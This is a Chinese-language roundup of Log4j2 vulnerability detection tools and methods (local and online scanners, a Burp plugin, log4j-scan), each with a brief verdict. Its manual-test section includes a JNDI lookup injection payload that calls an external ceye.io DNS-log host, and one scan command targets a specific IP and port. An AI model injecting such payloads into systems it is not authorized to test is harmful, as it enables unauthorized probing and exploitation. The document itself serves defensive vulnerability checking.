log4j2 漏洞排查方法及工具测试情况汇总

1、长亭Log4j2 漏洞本地检测工具 【推荐使用】

wget --no-check-certificate https://log4j2-detector.chaitin.cn/dl/log4j2_local_scanner_linux_amd64.v3_1.tar.gz
tar -zxvf log4j2_local_scanner_linux_amd64.v3_1.tar.gz
./log4j2_local_scanner_linux_amd64.v3 -root ./ -output scan.log
测试结果:
可快速发现当前服务器存在log4j2风险的 jar 应用,工具效果好,推荐使用。

2、长亭Log4j2 漏洞在线检测工具

既可以上传单独 Jar 包,也可以打包成 zip 包一起上传。系统会递归解压检测。
测试结果:
既可以上传单独 Jar 包,也可以打包成 zip文件一起上传,系统会递归解压检测,工具效果好,推荐使用。

3、腾讯安全Log4j2漏洞在线检测工具

支持 Jar/Ear/War包上传,一键上传即可获取到检测结果。
检测地址:
测试结果:
支持 Jar/Ear/War包上传,一键上传即可获取到检测结果。缺点:只能检测单个文件,不推荐使用。

4、手动验证方法

首先在 ceye.io 平台获取一个子域名,尝试构造payload,插入请求数据包。
${jndi: ldap://7jtf8u.ceye.io }
通过 ceye.io 平台是否收到请求,初步判断目标环境是否存在漏洞。
测试结果:
缺点:只适合安全人员使用,效率低。

5、Log4j-scan 【无法使用】

一款用于查找log4j2漏洞的python脚本,支持url检测,支持HTTP请求头和POST数据参数进行模糊测试。
github项目地址:
https://github.com/fullhunt/log4j-scan
git clone https://g.huaxi.us/fullhunt/log4j-scan.git
pip install -r requirements.txt
python3 log4j-scan.py -u " http://114.67.175.224:10827 "
测试结果:
支持url检测,HTTP请求头和POST数据参数进行模糊测试。缺点:花费了大量的时候安装后,根本检测不到漏洞,无法使用。

6、Log4j2 burp被动扫描插件

通过插件的方式,将lLog4j2漏洞检测能力集成到burp,从而提升安全测试人员的漏洞发现能力。
github项目地址:
下载后添加插件
设置 ceye dnslog config信息
访问URL,burpsuite抓包
发送到log4j2 Scanner,会自动检测
如下,说明漏洞存在。
测试结果:
通过插件的方式,将lLog4j2漏洞检测能力集成到burp,从而提升安全测试人员的漏洞发现能力。访问URL,burpsuite抓包,发送到log4j2 Scanner,会自动检测。
缺点:适合安全人员使用,效率低。